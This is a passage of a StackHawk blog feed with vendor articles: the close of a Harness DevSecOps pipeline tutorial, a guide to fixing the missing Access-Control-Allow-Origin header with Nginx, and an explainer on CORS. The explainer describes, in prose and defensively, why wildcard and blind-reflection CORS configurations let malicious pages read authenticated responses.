-&amp;gt; Workflows + Add Workflow&lt;/p&gt;&lt;p&gt;Name: Interpret Scan&lt;/p&gt;&lt;p&gt;Workflow Type: Rolling Deployment&lt;/p&gt;&lt;p&gt;Environment: StackHawk Scanner&lt;/p&gt;&lt;p&gt;Service: StackHawk Commands&lt;/p&gt;&lt;p&gt;Infrastructure Definition: StackHawk CentOS&lt;/p&gt;&lt;p&gt;Similar to the StackHawk scan, add the interpret script into step 3 of the Workflow.&lt;/p&gt;&lt;p&gt;+ Add Step -&amp;gt; Shell Script&lt;/p&gt;&lt;p&gt;Name: Shell Script&lt;/p&gt;&lt;p&gt;Script Type: Bash&lt;/p&gt;&lt;p&gt;Execute on Delegate: checked&lt;/p&gt;&lt;p&gt;Delegate Selector: ec2&lt;/p&gt;&lt;p&gt;Script:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Click Submit and the interpretation is wired. The script will interpret the scan results from the StackHawk scan console output, and if there are High Violations, stop the deployment. &lt;/p&gt;&lt;p&gt;The last step would be to stitch the scan, interpretation, and deployment together. &lt;/p&gt;&lt;h3&gt;Operational DevSecOps Pipeline&lt;/h3&gt;&lt;p&gt;The power of the &lt;a href=&quot;https://docs.harness.io/article/4o7oqwih6h-harness-key-concepts#pipelines&quot;&gt;Harness Pipeline&lt;/a&gt; is to stitch together granular steps to be a fully functional/operational DevSecOps pipeline. &lt;/p&gt;&lt;p&gt;Creating a Harness Pipeline is simple. The order will be to have Pipeline Stages for the scan, then interpretation, then if hygienic, deployment. &lt;/p&gt;&lt;p&gt;Setup -&amp;gt; StackHawk -&amp;gt; Pipelines + Add Pipeline&lt;/p&gt;&lt;p&gt;Name: DevSecOps&lt;/p&gt;&lt;p&gt;Once you hit Submit, you can add a Stage to every Workflow. &lt;/p&gt;&lt;p&gt;Click the + circle to add the first Stage, StackHawk Scan. &lt;/p&gt;&lt;p&gt;Click Submit, and add the other two; Interpret and Deploy. &lt;/p&gt;&lt;p&gt;Once done, your CD Abstraction Model is complete and filled out. You are ready to execute!&lt;/p&gt;&lt;h3&gt;Running your DevSecOps Pipeline&lt;/h3&gt;&lt;p&gt;To run your example, head to the left-hand navigation and click Continuous Deployment, then Start New Deployment.&lt;/p&gt;&lt;p&gt;You will want to deploy “StackHawk” application and fill in your StackHawk AppID and running container address. &lt;/p&gt;&lt;p&gt;Application: StackHawk&lt;/p&gt;&lt;p&gt;Pipeline: DevSecOps&lt;/p&gt;&lt;p&gt;stackhawkappid: your_stackhawk_app_id&lt;/p&gt;&lt;p&gt;stackhawkhost: your_running_host_or_ip_address&lt;/p&gt;&lt;p&gt;Artifact/Node App Tag: your_tag [or #stackHawk if using the example from rlachhman]&lt;/p&gt;&lt;p&gt;Click Submit – you are now off to the races! Note: the Pipeline will fail because this app is pretty vulnerable. You can see in the second Stage that the deployment has been blocked. &lt;/p&gt;&lt;p&gt;Head back to the StackHawk Console – you can now triage the vulnerabilities. &lt;/p&gt;&lt;p&gt;Happy DevSecOps-ing! With StackHawk, you can acknowledge the vulnerabilities and rerun your pipeline for a successful deployment. &lt;/p&gt;&lt;h3&gt;DevSecOps and Harness: Better Together&lt;/h3&gt;&lt;p&gt;Harness, as the premier software delivery platform, can help you realize your DevSecOps goals. As an unbiased way of integrating new technologies and scanning methodologies, the Harness Platform can be the conduit for paradigm shifts that happen in software delivery. Make sure to sign up for a &lt;a href=&quot;https://harness.io/free-trial/&quot;&gt;Harness Account&lt;/a&gt; today!&lt;/p&gt;&lt;p&gt;Cheers,&lt;/p&gt;&lt;p&gt;Ravi&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Ravi Lachhman. Ravi is an evangelist at Harness. Prior to Harness, Ravi was an evangelist at AppDynamics. Ravi has held various sales and engineering roles at Mesosphere, Red Hat, and IBM helping commercial and federal clients build the next generation of distributed systems. Ravi enjoys traveling the world with his stomach and is obsessed with Korean BBQ.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Fixing "No 'Access-Control-Allow-Origin' Header Present"]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/fixing-no-access-control-allow-origin-header-present</guid><category><![CDATA[Tech Learnings]]></category><dc:creator><![CDATA[Tim Armstrong]]></dc:creator><content:encoded>&lt;h2&gt;How to Fix &amp;quot;No &amp;#39;Access-Control-Allow-Origin&amp;#39; Header Present&amp;quot;&lt;/h2&gt;&lt;p&gt;This error is up there as one of the least helpful error messages. Sure, it tells you that there&amp;#39;s a header missing, but from where is it missing, and what should it be? Searching for it on the internet is likely to bring up a popular forum where the most common answer is worse than wrong – it&amp;#39;s dangerous.&lt;/p&gt;&lt;p&gt;In short, the &amp;#39;access-control-allow-origin&amp;#39; header is a Cross-Origin Resource Sharing (CORS) header. We&amp;#39;ve already written an explainer on what CORS headers are and what they do (&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cors/&quot;&gt;&lt;u&gt;which you can find here&lt;/u&gt;&lt;/a&gt;), but to summarize: CORS is a mechanism for relaxing the &amp;quot;Same-Origin&amp;quot; policy of modern browsers to allow things like serving your static content from &lt;a href=&quot;https://www.example.com&quot;&gt;&lt;u&gt;www.example.com&lt;/u&gt;&lt;/a&gt; and your dynamic content from &lt;u&gt;api.example.com&lt;/u&gt;.&lt;/p&gt;&lt;h2&gt;So, What is This Error Then?&lt;/h2&gt;&lt;p&gt;This error occurs when a script on your website/web app attempts to make a request to a resource that isn&amp;#39;t configured to accept requests coming from code that doesn&amp;#39;t come from the same (sub)domain, thus violating the Same-Origin policy.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s take a look at what&amp;#39;s actually going on under the hood of the browser when this occurs.&lt;/p&gt;&lt;p&gt;As you can see from the sequence diagram, before making the script&amp;#39;s actual request to the requested resource, the browser first makes a preflight request for the resource&amp;#39;s OPTIONS. This allows the resource to define the policy that the browser should enforce on all scripts that wish to contact it. If the constraints set by the resource are met by the script&amp;#39;s request then the browser&amp;#39;s access control check will pass, allowing the actual request to proceed.&lt;/p&gt;&lt;p&gt;If the requested resource isn&amp;#39;t configured to answer the OPTIONS request method or isn&amp;#39;t configured to handle it correctly, then you&amp;#39;ll see this error.&lt;/p&gt;&lt;h2&gt;There Are Two Approaches to Getting It Right.&lt;/h2&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Use a reverse proxy server or WSGI server(such as Nginx or Apache) to proxy requests to your resource and handle the OPTIONS method in the proxy.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Add support for handling the OPTIONS method in the resource&amp;#39;s code.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Both of these methods are equally valid but have different use-cases.&lt;/p&gt;&lt;p&gt;The first method is ideal if what you&amp;#39;re looking for is a quick fix to supporting a small number of sources of Cross-Origin requests, but gets very complex if you need the flexibility of supporting multiple sources with varying constraints. The second method provides much more flexibility and the ability to change the response dynamically, but at the expense of greater initial complexity. So, which solution you go with really comes down to your needs.&lt;/p&gt;&lt;h2&gt;Basic Implementation Concepts&lt;/h2&gt;&lt;p&gt;In order to implement the bare minimum support for Cross-Origin Resource Sharing, we need to understand what the browser is trying to validate and why. We have a more detailed explainer on that &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cors/&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;, but to summarize: The goal of the browser is to ensure that it&amp;#39;s not leaking user data to potentially malicious scripts. In that mindset, browsers assume that any scripts that come from (sub)domains other than the resource they&amp;#39;re trying to contact should not be able to contact that resource or make use of any of the credentials to identify the user to that resource. The `&lt;code&gt;OPTIONS&lt;/code&gt;` request is how the browser asks the resource if scripts from a given origin are safe, and what they should be allowed to do.&lt;/p&gt;&lt;p&gt;Therefore the bare minimum we need is being able to handle the `&lt;code&gt;OPTIONS&lt;/code&gt;` method and perform some validation on the headers received there. The minimum validation we need to support here is ensuring that the `&lt;code&gt;Origin&lt;/code&gt;` header to ensure matches an expected value (access lists and regex rules are common solutions here). If the validation passes, then we want to reply with our CORS headers providing confirmation to the browser that:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;The `&lt;code&gt;Origin&lt;/code&gt;` is trusted&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;What `&lt;code&gt;Method&lt;/code&gt;`s scripts from that origin are trusted to use&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;If the browser should allow the script to make authenticated requests (carrying credentials such as `&lt;code&gt;Authorization&lt;/code&gt;` headers or Cookies)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Any request headers that should be allowed with the request&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Any response headers to expect and pass on to the script&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;And how long to cache this response for&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;While setting some of these response headers to a wildcard is technically possible, doing so will almost always lead to unexpected data leak risks, and so should only be done for public/unauthenticated resources (such as a time service, or public stream of some sort).&lt;/p&gt;&lt;h2&gt;Implementing CORS with a Reverse-Proxy&lt;/h2&gt;&lt;p&gt;So using Nginx as an example, let&amp;#39;s take a look at how to fix the &amp;quot;No &amp;#39;access-control-allow-origin&amp;#39; header present&amp;quot; error.&lt;/p&gt;&lt;p&gt;A quick search on any popular search engine will reveal a number of solutions that look super simple, but all essentially boil down to disabling the browser&amp;#39;s security policy for all requests to that domain (not something we&amp;#39;d recommend). So how do we set up our reverse proxy securely?&lt;/p&gt;&lt;p&gt;Let&amp;#39;s take a look at the finished config template, and then break down what each directive is doing.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In general, when dealing with Nginx the common rule is that &amp;quot;&lt;a href=&quot;https://www.nginx.com/resources/wiki/start/topics/depth/ifisevil/&quot;&gt;if is evil&lt;/a&gt;.&amp;quot; So what are we doing putting 4 of them in? Well, to quote the same post: &amp;quot;There are cases where you simply cannot avoid using an if, for example, if you need to test a variable which has no equivalent directive&amp;quot; – this is, unfortunately, one such case.&lt;/p&gt;&lt;h2&gt;Before Diving Into The Specifics Each Conditional Statement, a Bit of Nginx Context is Needed&lt;/h2&gt;&lt;p&gt;The origin of the phrase &amp;quot;if is evil&amp;quot; is because they work quite differently from how you&amp;#39;d expect - Which is the primary reason we need so many of them.&lt;/p&gt;&lt;p&gt;In general, you can assume two rules when working with conditionals in Nginx:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Prior conditional modifications to the response object get cleared when you enter the context of a new conditional&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Conditional statements can&amp;#39;t be nested or joined&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;This means if we want to test for two conditions then we have to use a rather odd structure where we test each condition individually (for example the value of a header and the method of the request), concatenating the result of the condition to a single variable that we can later check. Then by checking the value of this variable in a third test, we can discern the state of the component tests.&lt;/p&gt;&lt;p&gt;For example, an &amp;quot;and&amp;quot; would be implemented as:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Let&amp;#39;s Skip The Boilerplate and Focus on The First of These Conditional Statements&lt;/h2&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This checks the &amp;#39;&lt;code&gt;Origin&lt;/code&gt;&amp;#39; header of any incoming requests, sets our `&lt;code&gt;$test&lt;/code&gt;` variable to equal &amp;quot;A,&amp;quot; and (if no other conditional statements pass) adds some headers to the response.&lt;/p&gt;&lt;h2&gt;The Second Conditional Statement Then&lt;/h2&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Checks to see if the request method is `&lt;code&gt;OPTIONS&lt;/code&gt;` and appends `&lt;code&gt;&amp;quot;B&amp;quot;&lt;/code&gt;` to our `&lt;code&gt;$test&lt;/code&gt;` variable.&lt;/p&gt;&lt;h2&gt;The Third Condition&lt;/h2&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Checks if the first and second conditions passed by validating that both of the values we appended are present in the string in the order of execution.&lt;/p&gt;&lt;h2&gt;Lastly, The Fourth Condition&lt;/h2&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Checks if the second condition was the only one that passed - essentially equivalent to `&lt;code&gt;( (x==&amp;quot;y&amp;quot;)  &amp;amp;&amp;amp;  (a!=&amp;quot;b&amp;quot;) )&lt;/code&gt;.` If this condition passes then it shortcuts to a 403 error.&lt;/p&gt;&lt;p&gt;This error condition is &lt;b&gt;essential for the security&lt;/b&gt; of the resource that we are protecting, as it means that we&amp;#39;re rejecting any request where the Origin header does not match our expected values.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;&lt;p&gt;We have a growing number of language &amp;amp; framework-specific tutorials on how to implement CORS on your platform of choice so we won&amp;#39;t go into code implementations in this article, you can find the ones we&amp;#39;ve completed here:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;u&gt;&lt;/u&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/laravel-xss/&quot;&gt;&lt;u&gt;Laravel&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;u&gt;&lt;/u&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/rails-xss-examples-and-prevention/&quot;&gt;&lt;u&gt;Rails&lt;/u&gt;&lt;/a&gt;&lt;u&gt;&lt;/u&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;u&gt;&lt;/u&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/java-xss/&quot;&gt;&lt;u&gt;Java&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Missing your favorite platform? Drop us a message!&lt;/p&gt;&lt;p&gt;As linked earlier in the article, you can find our detailed explainer on CORS and what each of the headers controls &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cors/&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Tim Armstrong. Tim has worn many hats over the years, from &amp;quot;Dark Lord of Network Operations&amp;quot; at Nerdalize to &amp;quot;Lead Software Engineer&amp;quot; at De Beers. These days, he&amp;#39;s going by &amp;quot;Consultant Engineer &amp;amp; Technical Writer.&amp;quot; You can find him on Twitter as @omatachyru, and at &lt;/i&gt;&lt;a href=&quot;https://plaintextnerds.com&quot;&gt;&lt;i&gt;&lt;u&gt;plaintextnerds.com&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[What is CORS?]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/what-is-cors</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[Tim Armstrong]]></dc:creator><content:encoded>&lt;p&gt;As you&amp;#39;ve possibly already come across by now, CORS is an acronym for Cross-Origin Resource Sharing, but what does that actually mean? What is CORS? Well, if we go by the &lt;a href=&quot;https://en.wikipedia.org/wiki/Cross-origin_resource_sharing&quot;&gt;&lt;u&gt;Wikipedia definition&lt;/u&gt;&lt;/a&gt;, &amp;quot;[CORS] is a mechanism that allows restricted resources on a web page to be requested from another domain outside the domain from which the first resource was served,&amp;quot; then you&amp;#39;d be forgiven if you were more confused than before you&amp;#39;d read that sentence.&lt;/p&gt;&lt;p&gt;Before we get into defining CORS, it&amp;#39;s best to know what came before, as it still defines the default behavior and is probably why you&amp;#39;re reading this now. This precursor to CORS was called the &amp;quot;Same-Origin&amp;quot; policy. In short, it dictates that when your browser loads a script (like a button handler, or some async widget) from a particular (sub)domain that the script can only make requests to the (sub)domain that it originated from.&lt;/p&gt;&lt;h2&gt;Cross-Origin Resource Sharing&lt;/h2&gt;&lt;p&gt;So then, what is CORS? Simply put, CORS is the mechanism that provides the ability to alter the behavior of this policy, enabling you to do things like hosting static content at &lt;a href=&quot;https://www.example.com/&quot;&gt;&lt;u&gt;www.example.com&lt;/u&gt;&lt;/a&gt; and the backend API at &lt;u&gt;api.example.com&lt;/u&gt;. This kind of request would be called a Cross-Origin request, as a resource from one subdomain is requesting a resource from another subdomain.&lt;/p&gt;&lt;p&gt;This is all controlled through preflight requests that exchange a set of HTTP request headers and corresponding response headers collectively referred to as &amp;quot;CORS Headers&amp;quot;, each of these headers modifies a different element of the Same-Origin policy to loosen the limitations it imposes.&lt;/p&gt;&lt;p&gt;There&amp;#39;s a lot of terrible advice out there (especially on popular forums) on how to set this up where the answers generally include some variant of brutally setting wildcard &amp;quot;&lt;code&gt;*&lt;/code&gt;&amp;quot; response headers regardless of the request headers provided in the pre-flight request. This article attempts to dispel some of the common misconceptions about Cross-Origin Resource Sharing and provide useful advice on how to get things working correctly.&lt;/p&gt;&lt;h2&gt;How Does CORS Work?&lt;/h2&gt;&lt;p&gt;As mentioned above the CORS workflow starts when a script loaded from one origin attempts to make a request to another origin (thus the name Cross-Origin Resource Sharing).&lt;/p&gt;&lt;p&gt;This workflow begins with the browser automatically making a preflight request to the external web server. This preflight request uses the HTTP method OPTIONS and has several HTTP headers that we&amp;#39;ll go into detail on later. The external web server should then validate these preflight request headers to ensure that scripts from that origin are allowed to make the actual request to the resource using the nominated request method and custom request headers specified in the preflight request headers.&lt;/p&gt;&lt;p&gt;Once verified the external web server should then respond with its own set of HTTP headers. These response headers define the range of acceptable origins, request methods, custom headers, whether or not it&amp;#39;s acceptable to send any credentials (such as cookies, authentication headers, etc.), and how long the browser should keep the response for. This allows the browser to keep that response cached as a form of pre-validation for any future requests that the script might wish to make.&lt;/p&gt;&lt;h2&gt;So What Are the Request Headers, and What Do They Do?&lt;/h2&gt;&lt;p&gt;Access control request headers are fairly straight forward and for the most part pretty self-explanatory.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;`&lt;code&gt;Origin&lt;/code&gt;` – The (sub)domain that the script making the request was served to the browser from.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;`&lt;code&gt;Access-Control-Request-Method&lt;/code&gt;` – The method that the script would like to use in the actual request to follow.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;`&lt;code&gt;Access-Control-Request-Headers&lt;/code&gt;` – The custom headers that the browser expects to send along with the actual request to follow.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;At a Bare Minimum&lt;/h3&gt;&lt;p&gt;The `&lt;code&gt;Origin&lt;/code&gt;` should be checked against an access list by the server to confirm that scripts from that origin are acceptable. This isn&amp;#39;t going to stop 100% of attacks, but it should at least slow down and discourage attackers and significantly reduce the risk of an automated malicious advert attack being successful. If the `&lt;code&gt;Origin&lt;/code&gt;` header isn&amp;#39;t a match to your access list, then it&amp;#39;s a good canary that an attack might be incoming.&lt;/p&gt;&lt;p&gt;The other easy thing to validate is that the `&lt;code&gt;Access-Control-Request-Method&lt;/code&gt;` is actually a supported HTTP method used in your API. As with the `&lt;code&gt;Origin&lt;/code&gt;` header, if it&amp;#39;s not something your API supports, then you know something is going on.&lt;/p&gt;&lt;h3&gt;Helpful Canaries&lt;/h3&gt;&lt;p&gt;Setting up validation failure alerts for both of these headers gives you a reliable early warning that an attack is incoming, allowing you to act quickly to protect your users.&lt;/p&gt;&lt;p&gt;The `&lt;code&gt;Access-Control-Request-Headers&lt;/code&gt;` request header is unfortunately not very reliable, as the actual request might contain some, none, or more custom headers than the browser has recognized. So it&amp;#39;s fairly safe to ignore it if everything else is valid, but you probably want to log it if either of the others fails, as it might be a useful signature for future requests originating from the attacker.&lt;/p&gt;&lt;h2&gt;Access Control Allow Headers and How to Respond to a CORS Request&lt;/h2&gt;&lt;p&gt;The access control allow headers are a little more complicated than the request headers, this is mostly because of a lack of proper implementation of the standard in most browsers. But before we drill down into the problems and how to avoid them, let&amp;#39;s first talk about what the headers are and what they do.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;`&lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt;` – Provided that the `Origin` request header matches your access list then this header should reflect that request header&amp;#39;s content.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Access-Control-Allow-Credentials – This header is a boolean indicating to the browser whether or not it is acceptable for code from this Origin to send authentication credentials such as cookies or Authorization headers.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Access-Control-Expose-Headers – This is a comma-separated list that indicates to the browser which headers from the server&amp;#39;s response to the actual request should be exposed to the script making the request.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Access-Control-Max-Age – The max-age header indicates how long the browser should retain the response to this cross-origin request&amp;#39;s preflight check in its cache to reduce the overhead of future cross-origin requests.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Access-Control-Allow-Methods – This header lists all of the methods that scripts coming from the (sub)domain stated in the Origin header should be allowed to make.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Access-Control-Allow-Headers – If the preflight request contains an `&lt;code&gt;Access-Control-Request-Header&lt;/code&gt;` then this header should either reflect that content to the browser or respond with a wildcard.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;About Those Caveats...&lt;/h2&gt;&lt;h3&gt;&lt;code&gt;`Access-control-allow-origin`&lt;/code&gt;&lt;/h3&gt;&lt;p&gt;At first blush, it might seem like the `&lt;code&gt;Access-Control-Allow-Origin&lt;/code&gt;` header would support something like a wildcard subdomain, or a comma-separated list that you could statically set to match all of the domains and subdomains that you want to support, as this would drastically reduce the number of times the browser might need to do preflight requests in a session. However, this is unfortunately not the case, and doing so will result in undefined behavior. This tends to be the origin of most of the bad advice on forums like stack-overflow. Because as strange as it might seem the standard does support a generic wildcard that simply disables this check in the browser altogether, so people jump on this as the easy answer. Putting user data at risk as a result.&lt;/p&gt;&lt;h3&gt;What&amp;#39;s So Bad About The Wildcard?&lt;/h3&gt;&lt;p&gt;As mentioned earlier, setting `&lt;code&gt;Access-control-allow-origin&lt;/code&gt;` to `&lt;code&gt;*&lt;/code&gt;` effectively disables the same-origin policy. This means that the browser will allow almost any request to that cross-origin resource from any script that happens to be loaded. This might not seem so bad, because you trust all of the code you put on your site, right? But that&amp;#39;s not the whole story, because the browser is now not filtering the origins, this means any code on any site (including malicious phishing sites) can actually make a request to that resource.&lt;/p&gt;&lt;p&gt;Now, given that modern browsers are at least a little bit security conscious, if you did attempt to follow the wildcard copy-pasta that is all over popular forums and needed to use credentials such as Authorization HTTP headers or cookies, your cross-origin request will fail. This is because, in an attempt to at least partially fix this class of vulnerability, browsers don&amp;#39;t allow you to set the `&lt;code&gt;access-control-allow-credentials&lt;/code&gt;` header if the `&lt;code&gt;access-control-allow-origins&lt;/code&gt;` is set to a wildcard. Which ultimately lead to the next bad idea that someone had: Sending your authentication token as a custom header – completely exposing user data to any malicious code.&lt;/p&gt;&lt;h3&gt;Can&amp;#39;t I Just Reflect the Origin?&lt;/h3&gt;&lt;p&gt;This solution while seeming smart on the surface, without any validation of the origin field, this blind reflection is actually considerably worse than the wildcard as it completely bypasses the browser&amp;#39;s prevention of setting both the `&lt;code&gt;access-control-allow-credentials&lt;/code&gt;` header and alongside a wildcard `&lt;code&gt;access-control-allow-origins&lt;/code&gt;` (because it&amp;#39;s now not a wildcard from the browser&amp;#39;s perspective). Adding authentication credentials to the list of potentially exposed data.&lt;/p&gt;&lt;h2&gt;Principals of an Attack&lt;/h2&gt;&lt;p&gt;The risks and context of an attack depend on the nature of the misconfiguration and how you&amp;#39;re authenticating requests. Modern browsers do their best to mitigate the impact of the most egregious configuration errors (i.e. using the wildcard policy). However, there are equivalents that still get through.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s consider the worst-case scenario defined above, &lt;b&gt;&lt;i&gt;blind reflection&lt;/i&gt;&lt;/b&gt; as it is the easiest to exploit.&lt;/p&gt;&lt;p&gt;In order to exploit a blind reflection, all you need is for a victim (one of the target&amp;#39;s clients) to browse any site that you can control or inject malicious code into, from there your code can make requests as the victim with the browser transmitting any authentication cookies it needs to perform those requests.&lt;/p&gt;&lt;p&gt;Diagram of a successful attack profile.&lt;/p&gt;&lt;p&gt;So what happened in this example? First, the victim navigates to a malicious site (this could be due to a phishing e-mail, or even just browsing a website with a malicious advert). When the page loads the browser runs the javascript on the page. This &amp;quot;evil.js&amp;quot; then makes a request to the vulnerable target to which the browser (having validated the CORS headers from the target) dutifully attaches the victim&amp;#39;s cookies for that resource. When the target then responds, &amp;quot;evil.js&amp;quot; then forwards this response to the malicious website. &lt;/p&gt;&lt;p&gt;The attack doesn&amp;#39;t have to stop here either, include some C&amp;amp;C code to evil.js and it could start relaying any command on behalf of the malicious site to the vulnerable site.&lt;/p&gt;&lt;p&gt;As &lt;a href=&quot;https://ejj.io/misconfigured-cors/&quot;&gt;&lt;u&gt;others have shown&lt;/u&gt;&lt;/a&gt; as far back as 2016, this was a fairly common vulnerability, and only takes one mistake in some regex. Unfortunately, this is seemingly still the case.&lt;/p&gt;&lt;h2&gt;What is the Best Practice to Enable CORS Then?&lt;/h2&gt;&lt;p&gt;In order to ensure both that the script comes from an origin that you expect to be making valid requests to the cross-origin resource and that the browser won&amp;#39;t just allow every script it loads to contact that resource. You should be validating all of the access control request headers against appropriate access lists. The implementation of this can be a little tricky, especially with the origin header, and the web is full of minor misconfigurations in parsing methods and bad regex that leaves all sorts of sites exposed to manipulation by an attacker. But, if you keep it simple, you can do it safely with a secure string comparison against an array of trusted values. If it doesn&amp;#39;t perfectly match your lists then respond with a `403 Forbidden`.&lt;/p&gt;&lt;p&gt;If we want to support more than one `&lt;code&gt;Origin&lt;/code&gt;,` then until browsers support a list of origins in the `&lt;code&gt;access-control-allow-origin header&lt;/code&gt;,` we don&amp;#39;t really have a lot of choice but to reflect the validated `&lt;code&gt;Origin&lt;/code&gt;` request header into the `&lt;code&gt;access-control-allow-origin header&lt;/code&gt;.`&lt;/p&gt;&lt;h3&gt;Libraries, Frameworks, &amp;amp; Reverse-Proxies&lt;/h3&gt;&lt;p&gt;For most languages and web frameworks there is a pre-built solution that should handle all of this for you securely so that you don&amp;#39;t have to. But there are a few that don&amp;#39;t implement proper validation, so you do need to validate the library operates as expected before trusting it.&lt;/p&gt;&lt;p&gt;Another alternative is to use an established web server like Nginx or Apache as a reverse proxy and use its filter rules to suitably reflect the headers if they satisfy the validation. Though, since these use regex for their validation filters, you have to be very careful when constructing your search string to ensure that you are safely validating the entire string matches your expectations. As a lot of companies that go this way seem to manage to introduce mistakes here.
&lt;/p&gt;&lt;h2&gt;How Can StackHawk Help? &lt;/h2&gt;&lt;p&gt;With your CORS configuration dialed in, it may be time to think about other types of vulnerabilities that may be lurking within your application. Although most developers are security conscious, it’s hard to always ensure that all your bases are covered when it comes to security. This is where a tool like &lt;a href=&quot;https://www.stackhawk.com/product/&quot;&gt;StackHawk&lt;/a&gt; can help to automate vulnerability detection and assist with fixes.&lt;/p&gt;&lt;p&gt;Even with your CORS filter properly configured, if you’re using cookies as part of your application, you may also want to consider making sure you are protected against &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-request-forgery-csrf/&quot;&gt;Cross-Site Request Forgery (CSRF)&lt;/a&gt;. By protecting against potential CSRF vulnerabilities, you can prevent malicious websites from forcing authenticated users to perform unintended actions within your app. &lt;/p&gt;&lt;p&gt;On top of that, you may also want to ensure that you’re covered against &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt;Cross-Site Scripting (XSS)&lt;/a&gt; vulnerabilities as well. In an XSS attack, an attacker injects malicious code into a web page viewed by other users. This code can then be executed by the users&amp;#39; browsers, potentially allowing the attacker to steal sensitive information or perform actions on behalf of the user.&lt;/p&gt;&lt;p&gt;The good news is that StackHawk can help you detect these and hundreds of other critical vulnerabilities in your application. Not sure where to start? This is where StackHawk can help. StackHawk is a &lt;a href=&quot;https://www.stackhawk.com/solutions/dast&quot;&gt;dynamic application security testing (DAST)&lt;/a&gt; tool that can scan your running application, locally or automatically in your CI/CD pipeline, and detect these types of vulnerabilities. Then StackHawk can give developers suggestions about how to fix these vulnerabilities in the most efficient manner. Trying out StackHawk is super easy and within minutes you’ll be able to identify and address potential security issues. You can try it out today by signing up for a free account &lt;a href=&quot;https://hubs.ly/Q01LC0zh0&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Already using a security tool? StackHawk’s DAST platform is complementary to many other security tools. Many security professionals recommend various types of tools to be included in your application security stack.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;
